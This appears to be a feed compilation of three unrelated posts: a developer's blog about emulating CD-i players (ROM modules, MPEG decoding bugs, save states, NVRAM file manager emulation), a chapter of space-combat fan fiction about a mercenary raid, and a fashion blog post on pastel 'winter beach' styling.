    000112bc 3134 0.0 0555 Driv a016 11 faf88d periic
    00011efa 4510 0.0 0555 Fman a003 96 a4d145 cdfm
    00013098 15222 0.0 0555 Driv a038 28 122c79 cdap18x
    00016c0e 134 0.0 0555 Desc 8000 2 35f12f cd
    00016c94 134 0.0 0555 Desc 8000 2 d2ce2f ap
    00016d1a 130 0.0 0555 Desc 8000 1 1586c2 vid
    00016d9c 18082 10.48 0555 Trap c00a 6 5f673d cio
    0001b43e 7798 1.0 0555 Trap c001 13 46c5dc math
    0001d2b4 2992 0.0 0555 Data 8020 1 191a59 FONT8X8
    0001de64 134 0.0 0555 Desc 8000 2 c5ed0e dd
    0001deea 66564 0.0 0555 Driv a012 48 660a91 video
    0002e2ee 62622 0.1 0555 Prog 8008 20 ec5459 ps
    0003d78c 4272 0.0 0003 Data 8001 1 9f3982 ps_medium.font
    0003e83c 800 0.0 0003 Data 8002 1 c1ac25 ps_icons.clut
    00040000 2976 0.0 0003 Data 8002 1 0a3b97 ps_small.font
    00040ba0 7456 0.0 0003 Data 8002 1 764338 ps_icons.clu8
    000428c0 107600 0.0 0003 Data 8002 1 7b9b4e ps_panel.dyuv
    0005cd10 35360 0.0 0003 Data 8001 1 2a8fcd ps_girl.dyuv
    00065730 35360 0.0 0003 Data 8002 1 e1bb6a ps_mesa.dyuv
    0006e150 35360 0.0 0003 Data 8002 1 8e394b ps_map.dyuv
    00076b70 35360 0.0 0003 Data 8002 1 c60e5e ps_kids.dyuv

    File Size Type Description
    ------------ ------ ------------ ------------
    cdi180b.rom 512K cdi000x.rom Unknown CD-i system ROM
    cdi180b.rom 512K cdi000x.mdl Unknown CD-i player
    cdi180b.rom 512K unknown.brd Unknown board
    Of course cditype didn’t correctly detect the ROM, player and board type, but the list of modules looks exactly like a CD-i player system ROM. It is in fact very similar to the CD-i 605 system ROM, the major differences are the presence of the icard and *iic drivers, the absence of a slave module and the different player shell (ps module with separate ps_* data modules instead of a single play module).

    It being quite late already, I resocketed all the ROMs in the proper places and closed up both players, after testing that they were both fully functional (insofar as I could test the 180 set), fully intending to clean up and go to bed. As an afterthought, I took a picture of the running 180 set and posted it on the CD-Interactive forums as the definitive answer to the 50/60 Hz power question I’d asked there earlier.

    The CD-i Emulator urge started itching however, so I decided to give emulation of my new ROM file a quick go, fully intending to stop at any major problems. I didn’t encounter any of those, however, until I had a running CD-i 180 player three hours later. I reported the fact on the CDinteractive forum, noting that there was no pointing device or disc access yet, and went to a well-deserved sleep. Both of these issues are major ones and those I postponed for the next day.

    To get the new player type up and running inside CD-i Emulater, I started by using the CD-i 605 F1 system specification files cdi605a.mdl and minimmc.brd as templates to create the new CD-i 180 F2 system files cdi180b.mdl and maximmc.brd. Next I fired up the emulator and was rewarded with bus errors. Not unexpected and a good indicator of where the problems are. Using the debugger and disassembler I quickly determined that the problems were, as expected, the presence of the VSR instead of VSD and the replacement of the SLAVE by something else. Straightening these out took a bit of time but it was not hard work and very similar to work I had done before on other player types.

    This time at least the processor and most of the hardware was known and already emulated; for the Portable CD-i board (used by the CD-i 370, DVE200 and GDI700 players) both of these were not the case as they use the 68341 so-called integrated CD-i engine which in my opinion is sorely misnamed as there is nothing CD-i about the chip, it is just the Motorola version of an 68K processor with many on-chip peripherals in remarkably similar to the Philips 68070 in basic functionality.

    Saturday was spent doing household chores with ROM research in between, looking for the way to get the pointing device working. It turned out to be quite involved but at the end of the day I had it sort of flakily working in a kludgy way; I’ll report the details in a next blog post.

    Sunday I spent some time fixing the flakiness and thinking a lot about fixing the kludginess; this remains to be done. I also spent time making screenshots and writing this blog post.

    So to finish up, there is now a series of 180 screenshots here on the CD-i Emulator website as reported in the What's New section. A very nice player shell, actually, especially for a first generation machine.

    I will report some ROM and chip finds including new hopes for replacing the missing pointing device in a next blog post.
              MPEG decoding, state save/restore, NRF emulation, ...        
    It's been a while since I wrote anything here, but that doesn't mean that work on CD-i Emulator has stopped. On the contrary, a lot has happened in the last month and describing all of it will take a very long blog post. So here goes…

    Last January an annoying date-checking bug was found which forced me to release beta2 somewhat earlier than anticipated. After that I did no further work on CD-i Emulator. There were various reasons for this, but the most import one was a very busy period at my day job.

    After a well-earned vacation I resumed CD-i related work in early August. First I spent a few days on Walter Hunt's OS-9 port of gcc, the GNU C/C++ Compiler that I found in October of last year. Getting it working on a modern Cygwin installation was interesting and something very different from my usual line of work. The result could be useful for homebrew activities: it's a much more usable C compiler then the Microware OS-9 one and supports C++ as a bonus. I intend to use this for ROM-less emulation validation some day; see also below. The sources need to be released but I haven’t gotten to that stage yet.

    After that I had another go at the Digital Video cartridge emulation. At the point where I left off last year the major stumbling block was the presumed picture / frame buffering logic of the MPEG video driver. When the appropriate interrupt status bits are set the driver starts copying a bulk of status information to an array of device registers and it will sometimes also read from those registers. This is all controlled by several status and timing registers that are also referenced elsewhere and I previously could not get a handle on it.

    My first attempt this time was spending another few days staring at it and tracing it, but this did not gain me much new understanding. Finally I decided to just leave it for now and see how far I could get without understanding this part of the driver. I decided to once again attempt to get "CD-i Full Motion Video Technical Aspects" working.

    This CD-i was produced by Philips to give future Full Motion Video (as the new MPEG playback functions were called at the time) developers a demonstration of the technical capabilities of the new hardware, at a time when this hardware was still in the early beta phase. The CD-i actually contains the compiler libraries necessary for making FMV calls from CD-i applications, as these had not previously been widely distributed.

    It is not a very slick disc visually, being intended for developers, but it demonstrates a number of FMV techniques such as regular playback, playback control including pause, slow motion and single step, freeze frame and forward/backward scan, special effects like scrolling the FMV window, a seamless jump and a sample of overlay effects with the CD-i base case video planes.

    I had previously tried to run this disc on CD-i Emulator, but it always crashed for an unknown reason that I attributed to MPEG device emulation problems. This time I traced back the crash and it turned out to have nothing at all to do with FMV playback but was instead caused by an incorrect emulation of the 68000 instruction "move ea,ccr" which is supposed to set the condition code register (ccr) to the value specified by the effective address (ea). In the processor manual this is classified as a word instruction and I had emulated it as such, which turned out to be wrong as it caused a word write to the full status register which should have been a byte write to the lower eight bits of it which hold the condition codes.

    The problem manifested itself when the application calls the math trap handler for some mundane number calculations, which were naturally supposed to set the condition codes. The value written to the status register inadvertently changed the processor from user to system mode (and also scrambled the active interrupt masking level) which caused an instant stack switch that caused a bus error when the trap handler attempts to return to the application program (the cpu took the return address from the wrong stack and got garbage instead).

    Most CD-i applications probably don't use the math trap handler so the problem went undetected for a long time. Now that it's fixed some other titles have probably started working but I haven't tested that.

    After this, the FMV Technical Aspects application would get to its main menu screen, allowing me to start FMV playback operations. Regular playback worked fine until the end of the video clip, where there turned out to be status bit generation issues that prevented the application from properly detecting the end of video clip condition (the decoder is supposed to send a "buffer underflow" signal, among others, after the end of the MPEG data and my emulation didn't do that yet).

    This was not very easy to fix because of the way that MPEG data buffering and decoding is handled inside CD-i Emulator, which I'll get into below. So it took me some time.

    Regular play working fine, I started worrying about window control. This was the area where I feared the picture buffering stuff, but it turned out that this was easily bypassed. The horizontal / vertical scrolling functions were ideal to test this but it took me some time to get it working. There were bugs in several areas, including my integration of the MPEG video decoding code, which I took from the well-known mpeg2dec package. This code is written to decode a single video sequence and consequently did not handle image size changes without some re-initialization calls at the appropriate times. Failing that, it mostly just crashed (at the Windows application level) due to out-of-bounds video buffer accesses.

    Another issue was the timing of device register updates for image size changes; I turned out to have the basic mechanism wrong and consequently the driver would keep modifying the window parameters to incorrect values.

    Having all of the above fixed, I returned my attention to playback control. So far I can get the video playback properly paused, but I haven't been able to get it properly resumed. For some reason the application resumes the MPEG playback but it doesn't resume the disc playback. Since the driver waits for new data to arrive from disc before actually resuming MPEG playback nothing happens (this is documented as such). The application is presumably expecting some signal from the driver to get into the proper state for resuming disc playback, but I haven't found it yet.

    At this point, it seemed promising to look at other CD-i titles using playback control and the Philips Video CD application is an obvious candidate. Again, regular playback appears to work fine, but playback control (including pause/resume) does not. It turns out that this application uses a different driver call (it uses MV_ChSpeed instead of MV_Pause, probably in preparation for possible slow motion or single step), which never completes successfully, probably again because of device status signaling. Similar issues appear to block playback control in a few other titles I tried.

    I've given some thought to tracing driver calls and signals on an actual player to see what CD-i Emulator is doing wrong, and it appears to be relatively simple, there's just a bandwidth issue because all of the trace output will have to go out the serial port which can go no higher then 19200 baud. Some kind of data compression is obviously needed and I've determined a relatively simple scheme that should be enough (the CD-i player side will all need to be coded in 68000 machine language so simplicity is important!), but I haven't actually written any code for it yet.

    I know there are issues with the proper timing of some video status signals. Things like start-of-sequence, end-of-sequence and start-of-picture-group should be delayed until display of the corresponding picture, at present they are delivered at decoding time, which can be a few pictures early. But that does not really affect the titles I've tried so far, because they do not attempt picture-synced operations. An application like The Lost Ride might be sensitive to thinks like this, though, and it needs to be fixed at some time. Similar issues are probably present with time code delivery. In addition, the last-picture-displayed and buffer-underflow signals are not always properly sent; I'm fixing these as I go along.

    In the process, I decided that the magenta border was getting annoying and tried to fix it. That turned out to be harder then I thought. The MPEG chip has a special border color register that is written by the MV_BColor driver call and it seemed enough to just pass the color value to the MPEG window overlay routines. Well, not so. Again the issue turned out to be timing of decoder status signals, but of a different kind. The driver doesn't write the border color registers until it has seen some progress in certain timing registers related to the picture buffering thing, presumably to avoid visual flashes or something on the actual hardware. Fortunately, it turned out to be easy to simulate that progress, taking care not to trigger the complicated picture buffer code that I so far managed to keep dormant.

    At some point, possibly related to slow motion or freeze frame, I might need to actually tackle that code but I hope to by that time have gained more understanding of the supposed workings of the MPEG chip.

    Looking at the above, you might think that all of the difficulties are with the MPEG video decoding and that is indeed mostly true. I did have to fix something in the MPEG audio decoding, related to the pause/resume problems, and that was the updating of the audio decoder clock. When audio and video playback are synchronized the MPEG video driver uses the MPEG audio clock as it's timing reference, which means that it has to be stopped and restarted when video playback control operations occur. Since I had never before seriously tested this, the audio clock wasn't stopped at all and the video driver obligingly continued decoding and displaying pictures until it ran out of buffered data.

    There is currently just one known problem with the MPEG audio decoding: the audio isn't properly attenuated as specified by the driver. This causes little audio distortions at some stream transitions and when buffers run out. There is also a problem with base case audio synchronization but that is hard to trigger and possibly even not audible in many titles so I'll worry about that much later.

    Above I promised to get into the MPEG data buffering and decoding issue. The basic problem is one of conceptual mismatch: the CD-i decoding hardware gets data "pushed" into it (by DMA or direct device I/O) at the behest of the driver, whereas the MPEG decoding code (based on the publicly available mpeg2dec and musicout programs from the MPEG Software Simulation Group) expects to "pull" the data it needs during decoding. Things get messy when the decoding runs out of data, as the code does not expect to ever do so (it was originally written to decode from a disc file which of course never runs out of data until the end of the sequence). Some obvious solutions include putting the decoding in a separate thread (which given multi-core processors might be a good idea anyway from a performance perspective) and modifying it to become restartable at some previous sync point (most easily this would be the start of an audio frame or a picture or picture slice). Both options are somewhat involved although they have obvious benefits, and it may turn out that I will need to do one of them anyway at some point. For now I've avoided the problems by carefully timing calls into the MPEG decoding code so that enough data to decode a single audio frame or video picture should always be available; the MPEG data stream at the system level contains enough timestamp and buffering information to make this possible (in particular, it specifies the exact decoding time of every audio frame or video picture in relation to the timing of the data stream, thus making it possible to make those calls into the decoding code at a time that a valid MPEG data stream will have already filled the buffers far enough).

    The approach depends on the timing of the MPEG data entering the decoder, which means that it does not handle buffer underflow conditions unless you add some kind of automatic decoding that continues even if no more MPEG data appears, and this is basically what I’ve done. In the end it was just relatively straightforward extension of the automatic decoding already there to handle the fact that MPEG audio streams do not have to explicitly timestamp every single audio frame (the CD-i Green Book does not even allow this unless you waste massive amounts of space in each MPEG audio data sector) and would have been needed anyway to correctly decode the last pictures of a sequence, but that had never been tested before.

    For performance and possible patent reasons I have taken care to edit the MPEG decoding code (placing appropriate #ifdef lines at the right places) so that only MPEG 1 video and audio layer I/II decoding code is compiled into the CD-i Emulator executable. This is all that is needed for CD-i anyway and MPEG 2 video and audio layer III greatly complicate the decoding and thus significantly enlarge the compiled code.

    Being somewhat stymied at the FMV front, I next decided to spend some time on another lingering issue. During testing, I often have to do the same exact sequence of mouse actions to get a CD-i application to a problem point and this is starting to be annoying. Input recording and playback are a partial solution to this but then you still have to wait while the application goes through it, which is also annoying and can sometimes take quite some time anyway. The obvious solution is a full emulation state save/restore feature, which I've given some thought and started implementing. It's nowhere near finished, though.

    During the MESS collaboration I spent some time investigating the MESS save/restore mechanism. If at all possible I would love to be compatible for CD-i emulation states, but it turns out to be quite hard to do. The basic internal mechanism is quite similar in spirit to what I developed for CD-i Emulator, but it's the way the data is actually saved that makes compatibility very hard. Both approaches basically boil down to saving and restoring all the relevant emulation state variables, which includes easy things like the contents of cpu, memory and device registers but also internal device state variables. The latter are of course not identical between different emulators but they could probably be converted if some effort was thrown at it and for a typical device they aren't very complex anyway. The MESS implementation uses an initialization-time registration of all state variables; at save/restore time it just walks the registrations and saves or restores the binary contents of those variables. CD-i Emulator has a somewhat more flexible approach; at save/restore time it calls a device-specific serialize function to save or restore the contents of the state variables. The actual registration / serialization codes are structurally similar in the two emulators (a simple list of macro/function calls on the state variables) but the code runs at different times.

    The real problem is that MESS includes very little meta information in the save files: only a single checksum of all the names and types of registered state variables in registration order. This is enough to validate the save data at restore time if the state variables of the saving emulator exactly match those of the restoring emulator, because there is no information to implement skipping or conversions. This holds between different versions or in some case even configurations of MESS emulators, but it holds even more so between MESS and CD-i Emulator! The meta information could of course be obtained from the MESS source code (relatively simply macro modifications could cause it to be written out) but that would require exact tracking of MESS versions because every version could have its own checksum corresponding to different meta information (in this case CD-i Emulator would need meta information sets for every MESS checksum value it wants to support).

    I want CD-i Emulator to be more flexible, especially during development, so I decided to make full meta information an option in the save file. The saved state of every device is always versioned, which allows the save/restore code to implement explicit conversion where needed, but during development this isn't good enough. With full meta information turned on, the name and type of every state variable precedes the save data for that variable in the save file. This allows more-or-less automatic skipping of unknown state variables and when properly implemented the restore code can also handle variable reordering. At release time, I will fix the version numbers and save full metadata information sets for those version numbers so that the same automatic skipping and handling of reordering can be done even if the metadata isn't in the save file (it probably won't be because of file size considerations, although that may turn out to be a non-issue because save files need to include the full RAM contents anyway which is 1 MB of data in the simplest case without any compression, which is of course an option).

    In addition to all of the above, I made some progress on the ROM-less emulation front. First I spent some time reading up on the internals of OS-9 file managers, because writing a replacement for the NRF file manager (NRF = Nonvolatile RAM File manager) seemed the logical next step. Actually writing it turned out not to be that hard, but there were of course bugs in the basic ROM emulation code. Most of them had to do with handlers not calling into the original ROM, which totally screwed up the tracing code. Some new functionality was also needed to properly read/write OS-9 data structures inside the emulated machine from the ROM emulation code; I wanted to implement this in such a way that compilation to "native" 68000 code remains a future option for ROM emulation modules. And of course the massive tracing described in the previous blog post had to be curtailed because it was impossible to see the relevant information in the morass of tracing output.

    The new emulated NRF stores its files in the PC file system and it currently works fine when you start it with no stored files (i.e., the player will boot). In that case it will write out a proper "csd" (Configuration Status Descriptor) file. However, if this file already exists, the player crashes, although I have so far not found any fault in the NRF code. The origin of the problem probably lies elsewhere; I suspect it has to do with the hidden "player_shell_settings.prf" file. This file is read and written by the ROM bootstrap even before OS-9 is running; it does this by directly accessing the NVRAM memory (the file never changes size and is always the first one in NVRAM). Since the bootstrap accesses of this file do not go through the NRF file manager or even the NVRAM driver they are not redirected by the OS-9 emulation. However, later accesses by the player shell *are* redirected and the player shell does not seem able to handle the file not existing in the PC file system in the case where a csd file already exists. Solutions include extending the emulated NRF to always access this particular file from the NVRAM instead of the PC file system or somehow synchronizing the two locations for the file. The latter is probably the easiest route given the fixed location and size of the file, but the former is also useful as it would provide a full reimplementation of the original NRF that could in principle be compiled to native 68000 code to replace the "original" NRF in ROM (this is where gcc comes in as alluded to earlier, since all emulation code is written in C++).

    In either case, I do not want the file manager to directly access emulated NVRAM although it could do so easily, as there is already an internal CNvramPort interface that provides just such access independent of the actual emulated NVRAM chip. The NRF file manager should instead call the NVRAM driver, which means that I need to implement cross-module calling first. It's not really hard in principle, the design has been done but there are a lot of little details to get right (the most obvious implementation uses at least 66 bytes of emulated stack space on each such call which I find excessive and might not even work; smarter implementations require some finicky register mask management or a "magic cookie" stacking approach, the latter having the best performance in the emulation case but being impossible in the native 68000 compilation case). When cross-module calling is working, I can also have the file manager allocate emulated memory and separate out the filename parsing functions by using the OS-9 system calls that provide these functions (the current emulated NRF does not allocate emulated memory which is arguably an emulation error and has the filename parsing coded out explicitly).

    When everything works correctly with the emulated NRF, I have to find some way of integrating it in the user experience. You could always start over without any NVRAM files, but I'd like to have some way of migrating files between the two possible locations without having to run CD-i Emulator with weird options. Extending the CD-i File Extractor (cdifile) by incorporating (part of) the emulated NRF seems the obvious choice, which would also provide me with some impetus to finally integrate it with the CD-i File Viewer (wcdiview) program that's supposed to be a GUI version of cdifile but so far is just a very thin skeleton barely able to graphically display a single CD-i IFF image file passed on the command line (it doesn't even have a File Open menu) and will often crash. A proper implementation would look like Windows Explorer with a tree view on the left (CD-i file system, real-time channels and records, IFF chunk structure, etc) and a variable content display on the right (raw data view, decoded sector view, code disassembly view, graphical image view, audio playback, slideshow playback, decoded MPEG view, MPEG playback, etc).

    That touches on another area in which I did some work last month: the saving of CD-i IFF image files for each emulated video frame. The motivation for this was to bring full-resolution real-time frame saving into the realm of the possible, as it would write only about 2 x (1024 + 280 x (384 + 32)) = 247 KB of raw CD-i video and DCP data per frame instead of 560 x 768 x 3 = 1260 KB of raw RGB. At least on my PC this has turned out not to be the case, however. The data is written out fine, which is not as easy as it sounds since video line data size can vary with each line because of pixel repeat and run-length encoding, but it's still too slow. That being so, I am not really very motivated to extend the CD-i IFF decoding implementation to actually decode this information. Some kind of compression could be an option, but that takes processor time and makes things even harder and possibly slower. Perhaps using another thread for this would be a solution, on a multi-core machine this should not greatly impact the basic emulation performance nor the debugging complexity as the compression code would be independent of the emulation itself.

    So there is still a lot of work to be done, but it's all quite interesting and will provide for some entertaining evenings and weekends in the coming weeks or possibly months.

              CD-i Emulator Cookbook        
    Just a quick note that work on CD-i Emulator hasn't stopped.

    I have some wild ideas about ROM-less emulation; this would basically mean re-implementing the CD-RTOS operating system. Somewhat daunting; it contains over 350 separate explicit APIs and callable entry points and many system data structures would need to be closely emulated. But it can be done, CD-ice proved it (although it took a number of shortcuts that I want to avoid).

    I'm not going to tackle that by myself; my current thinking is to make a start by implementing a high-level emulation framework, tracing stubs for all the calls (luckily these can mostly be generated automatically from the digital Green Book and OS-9 manuals) and some scaffolding and samples.

    One of the pieces of scaffolding would be a really simple CD-i player shell; one that just shows a big "Play CD-i" button and then starts the CD-i title :-)

    For samples I'm thinking about a few easy system calls like F$CRC, F$SetCRC, F$SetSys, F$CmpNam, F$PrsNam, F$ID, F$SUser, F$Icpt, F$SigMask, F$STrap, F$Trans, F$Move, F$SSvc (I may not get through the entire list) and a new NVRAM File Manager (NRF).

    It would be nice to do a minimal UCM with Video and Pointer driver so that the simple CD-i player shell would run, but that might be too much. We'll see.

    However, it's the new NRF that would be the most immediately interesting for CD-i Emulator users. It would intercept NVRAM access at the file level and redirect it to the PC file system (probably to files in the the nvr directory). This would allow easy sharing of CD-i NVRAM files (e.g. game-saves) over player types or between CD-i emulator users.

    To allow all of the above and clean up some dirty tricks that were needed for input playback and handling Quizard, I've done some internal restructuring of CD-i Emulator. In particular, I introduced a new "handler" class beneath the existing "device" and "memory" classes (which are now no longer derived from each other but from a common "component" base class). This restructuring isn't finished yet, but it will allow the input and Quizard stuff to become handlers instead of devices (the latter is improper because they shouldn't be visible on the CD-i system bus).

    The new "module" class (a subclass of handler) will be used to add high-level emulation of OS-9 and CD-RTOS rom modules. I want to preserve the interfaces between the modules and the public data structures as much as possible, because it will allow a gradual transition from "real" to "emulated" modules.

    To prepare for all of the above I had to do some fairly heavy design, which caused me to properly write down some of the design information and tradeoffs for the first time. This will be invaluable information for co-developers (if they ever materialize), hence the title "CD-i Emulator Cookbook". Well, at present it's more like a leaflet but I hope to expand it over time and also add some history.

    Pieces of the cookbook will be added to the CD-i Emulator website if I feel they're ready.

    I've also been giving some thought on a collaboration model for the ROM-less emulation. If there is interest I could do a partial source release that would allow other developers to work on the ROM-less emulation. This release would *not* contain any non-video chipset emulation but it would contain "generic" CD-i audio and video decoding. You would still need to use (part of) a system ROM (in particular the OS-9 kernel and file managers) until enough of the emulation is finished.

    I'm still considering all this, but I wanted to get the word out to see if there is interest and to show that I haven't abandoned the project.

    Potential co-developers should start boning up on OS-9 and CD-RTOS. All of the technical OS-9 documentation is online at ICDIA and links to the digital Green Book can also be found.
              Hunted and Hunter, Part IX        
    “We’ve been spotted!” Brannigan’s voice said over the comms. The Cutlass turned hard, pressing me against the restraints of my seat. “Call’s gone out, two hours ‘til full militia arrives.” I reached over and started the two hour timer on my mobiGlas. That was our window for getting in and out. “Looks like the decoys did their job, the pilot said. "Only two Gladii and a Cutlass in our way. Light defense, but we’re still in for a ride." One of the mercs pulled himself into the turret chair, hitting the button that raised it up to the controls. “Here we go!” shouted the merc sitting next to me as the ship banked again. Everyone wore almost identical airtight combat suits, but the personalized markings on the side of his helmet told me it was Vin, one of the younger mercs. The turret opened fire above, and staccato reverberations echoed through the hull as the twin guns belched fire. I caught a glimpse out the small porthole of the Banu vessel, trailing behind out of harm's way but still close enough to fire off its large guns. The Cutlass’ shields shimmered as a few rounds impacted, but nothing got through. The turret swiveled around to track one of the passing ships. “Scrapped one Gladius,” the merc manning it shouted with a whoop. “Missiles!” shouted the pilot. “Hold on!” A few dull thuds sounded as flares launched, then the ship spun around with a wrenching twist. I was sure we were about to get torn to pieces by a swarm of hunting missiles any second, and suddenly felt like the ship was a metal coffin. But the seconds passed, the ship completed its maneuver, and no missiles hit. “Evaded,” the pilot said, then accelerated the ship back around into the action. “Enemy Cutlass down.” “Yehaaa!” shouted Vin. Another barrage of bullets slammed the shields, then the shield died, and a trio of small holes suddenly appeared in the hull as rounds punched through the armor. There was a rushing of air that dropped to silence except for the reverberations through the hull. “We’ve been hit,” the pilot said over the comms. A weight slumped against my shoulder, I turned and saw Vin, still strapped into his seat, but with a large hole torn through his combat armor. Blood poured out like a fountain, spreading over the suit and chair and deck. Across from us Ajax pulled himself out of his restraints, despite the silent protests of those around him. He crossed over and knelt beside Vin, pulling bandages from his pack as he did so. But he didn’t apply them, it was already too late. After a silent fury, he clicked his comm on. “Man down.” A moment later the Cutlass banked again, sending Ajax sprawling across the floor. The other mercs grabbed him and kept him from tumbling more. A few seconds later the report came across that the final enemy had been destroyed. But it was a sullen celebration as the ships turned and headed for the planet, the limp body of Vin still slumped in the chair. I glanced at my mobiGlas. 1:57 left. The whole battle had lasted less than three minutes.  The air streamed back into the cabin as the Cutlass descended into the planet's atmosphere. After a few minutes the ship leveled off, wind whipping past the hull breaches. The ship settled down, hovering a short ways above the ground as the rear door lowered. "Everyone, go!" came the command. I unstrapped myself from the chair and hoisted my rifle, then followed the other mercs out of the ship. "We'll get her patched up and ready for pickup," the pilot said as the ramp closed up and the ship rose away. "Good hunting." We were standing in a clearing amongst a sparse, wooded area on a slight rise. Several hundred meters down the slope, partially obscured by the thin trees, sat a small mining town. Dawn was still an hour or so away, and two small moons glistened in the sky. It would have seemed peaceful, but for the gunfire that broke out almost as soon as we started down the slope. Energy bolts zipped through the trees, snapping branches and kicking up dirt. We quickly ducked behind the cover of trees, but the shots were so wild it almost wasn't necessary. "Charlie team on the ground," Ajax said over the comms. "On the ground and under fire. Looks like they've decided to put up a fight." "Understood," Brannigan's voice responded. "Alpha team touching down now, half a click north of the target. Pup, see what you can do about softening them up for us." I peered around the tree trunk at the town through the scope on my Behring CSS, a much lighter gun than the LR-620 and better for mobility. The village looked like a formula built frontier mining town. Squat, rugged buildings not so much built as placed, standard constructions produced in bulk and shipped out from factory worlds to be assembled where needed. The population couldn't have been more than a few hundred. The only unique building was the loading complex on the near side of town, a small pad and storage building topped with an AA turret. Several dozen of the inhabitants were rushing through the streets, armed with shotguns and a few rifles. One of the defenders stood in the shadow of a building, firing a MaxOx at the treeline. At this distance he'd have to get very lucky to hit anything with that. My bullet hit him in the thigh, and he fell. He'd survive, but was out of the fight. "Charlie team, move forward. Pup, stay here and keep us covered." The five mercenaries moved down the slope, keeping in the cover of the trees. I swept over the town with my scope. At first glance each building was the same as the next, but as I searched the outlines for armed defenders I noticed the small decorations and unique bits that made them homes. Their homes. And they were fighting to defend them. Even the coldness of the chems running through me couldn't bring me to shoot them, but I could still keep them from shooting back. Another man appeared around a building and raised a rifle. I shot the dirt in front of him, and he jumped back. A head appeared over another building, but it disappeared again as soon as my shot pinged off the roof beside him. Ajax and his five mercenaries safely reached the edge of the trees. "Charlie in place." "Beta in place," another merc chimed in. "Delta ready," a third said. "Remember," Brannigan said, "keep casualties to a minimum. Take them alive. Now take down that gun." An Ursa rover broke over the ridge to the north of town, turret firing at the buildings. The defenders ran, retreating back towards the center of town. Charlie team moved out of the treeline under cover of the barrage and quickly set up an ARM missile launcher. "Ready to fire," Ajax said a moment later. "Light up the target." I flipped on a laser on the side of my rifle and pointed it at the AA turret. "Target lit." A plume of smoke shot up from the ARM, a missile rising into the air and arcing down to the turret. A shield around the turret flared and died as the missile hit, then the turret itself erupted in flame as a second missile struck. "Target down," Ajax confirmed. "Air's clear." A figure appeared around the side of a building, a rifle pointed at the launcher. He was young, a teenage kid firing wildly. I buried a bullet into the ground at his feet, kicking up dirt around him, but he kept firing. Another shot whizzed by his head, but he didn't care. The other mercs were firing back, he was going to get himself killed. There was nothing else to do. My third bullet ripped through his knee. He fell back and out of sight. "Porter's hit," Ajax said. "It's bad. Moving back to the trees to stabilize him." "Draconis, rain fire on them." Brannigan's voice was cold, anger seething just beneath the surface. The Redeemer rose over the hill, turret lighting up first one house, then the next on the edge of town. It hovered over the town, the small arms fire doing nothing to its shields, firing back with devastating results at any that tried. It was over quickly. Under such a barrage the defenders had no choice but surrender. Smoke rose from the ruined shells of buildings as the townsfolk put down their guns and the mercenaries moved in. 1:26.
              Winter Beach/ Pastels on the Pier        
     Image from Eternal Sunshine of The Spotless Mind 

    The idea of the beach in winter is one that has always captivated me. I think most people would agree that beaches are strictly summer territory, no question about it. And I, eternal child of all that is summery, have placed the idealistic scene of warm, gleaming rock pools and lolly-sticks on sandcastles high on my personal pedestal of Special, Sparkly places. Beaches are places for feeling sunburned and sandy and windswept, with salt in your hair and the sun in your eyes. For most people, that eternal, golden setting of the sea side in summer will live on forever in their minds, as it does in mine, as the stuff of sweet summer childhoods spent playing in the surf, and adolescent flings on grassy campsites by the sea.

    I'd always thought of the beach in winter, therefore, as a sort of forlorn, forsaken landscape; almost post-apocalyptic in it's state of eerie desertion. The sand looses it blinding, sunlit glare, and dims to a dull, pale, yellow, while the sparkling sea becomes iron grey and choppy, not to mention freezing. But in a way, the beach in winter is also sort of beautiful. There is something almost calm and reassuring about it's ghostly emptiness and the softer, less harsh hues of a murky, glass green ocean, and a pearly, clouded sky. I think it was actually the film Eternal Sunshine of The Spotless Mind that gave me this new appreciation of windswept, winter beaches, not lit up, arcade-like, with the brazenness of a bright, summer's day, but bathed in the gentle tones of soft grey sheet rain gathering on the horizon, or smooth, blue pebbles hidden in the shadows of clear, shallow pools. The film opens with Jim Carey's dejected and jaded-looking character suddenly deciding not to board his usual train to work, and instead running flat out to jump on a train heading to the seaside town of Montauk.

    The scenes of him walking the shores of a deserted beach complete with rickety wooden windbreakers and long dry grass dancing in the wind made me start to think of the beach during winter not as a sad, forgotten place, but as a place of recovery and escapism. There isn't really anyone around, and feeling like you are alone with something as vast and powerful as the ocean has got to be the ultimate place to think things over and take deep lungfuls of fresh, salt-flecked air if you're feeling a little down in the dumps. The film then continues to revisit the beach via the character's memories of his now-ended relationship, one time at night as the couple break into a deserted beach house, one time when it is covered in thick blankets of snow, and one time during a surreal scene that involves the couple waking up in bed on the open, windy shore. If you haven't seen this truly stunning, unusual and generally amazing film, then you really, really should, but I wanted to mention it here because the idea of wintry beaches, blustery air that requires snuggly layers, and the muted, soft colours of a dully lit beach cocooned by a soft, shell coloured sky is exactly what is inspiring me sartorially right now.
               Image from Eternal Sunshine of the Spotless Mind

    The reason that I am suddenly feeling all these beachy, windswept, freezing-cold-winter-merging-into-sightly-less-freezing-cold-spring vibes, is partly down to my new magazine collage wall. Let me explain: my boyfriend and I have currently just moved into our new place together, and much to my surprise and delight, he was all for my 'lets decorate the walls in millions of pages from all my old Glamour magazines' idea. Well, he was all for decorating one wall in them, which was good enough. Therefore, whenever I sit in our shiny new dining room to eat my lunch/attempt to do some writing, I am now surrounded with all of my most beloved fashion and beauty moments from the dog-eared copies of Gamour I've been collecting for absolute donkey's years.

    Several of these images are from my absolute favourite ever Glamour fashion feature, entitled 'Have a Pretty Day', which is from a few seasons back now, I think. Anyway, the pictures were shot at Brighton Pier, which is one of my favourite places in the world. It was a spring shoot, but, unusually for a fashion magazine, the stylist had actually taken note of the fact that spring in England isn't all sunshine and blossom and clear, blue skies, and had dressed the model in a series of sugary, sweet outfits in soft creams and muted pastel tones, compete with coats, jackets and opaque tights, albeit in pretty spring hues. Not only does this whole 'Winter Beach/ Pastels on the Pier' look perfectly embody the current trend for pretty ice-cream pastels, but it also packs personal connotations to my love of beaches and fascination with the muted, soothing beauty of the sea side in crisp, early spring and deepest, darkest wintertime. Not only this, but the images in this shoot are also rather sixties inspired, making me fall in love with micro minis, swing coats, shift dresses and big, Bambi eyes.

    To achieve this sweet, pier-worthy look, think pale muted colours, and work with a palette of cream, white, mint green, powder pink, toffee and palest lavender.Team a snowy-hued shift dress with white opaque or semi-sheer tights, and wear with light tan lace-up brogues and a powder-blue swing coat. Blend in with the fairground carousel with pastel separates or sugary vintage dresses in floaty fabrics, and pick your way over the pebbles in elegant Mary Janes with a metallic sheen for a spot of mermaid-esque shimmer. Team the look with gently tousled waves, nude or chalky lips and long-lashed Bambi eyes for a nod towards sixties chic. 

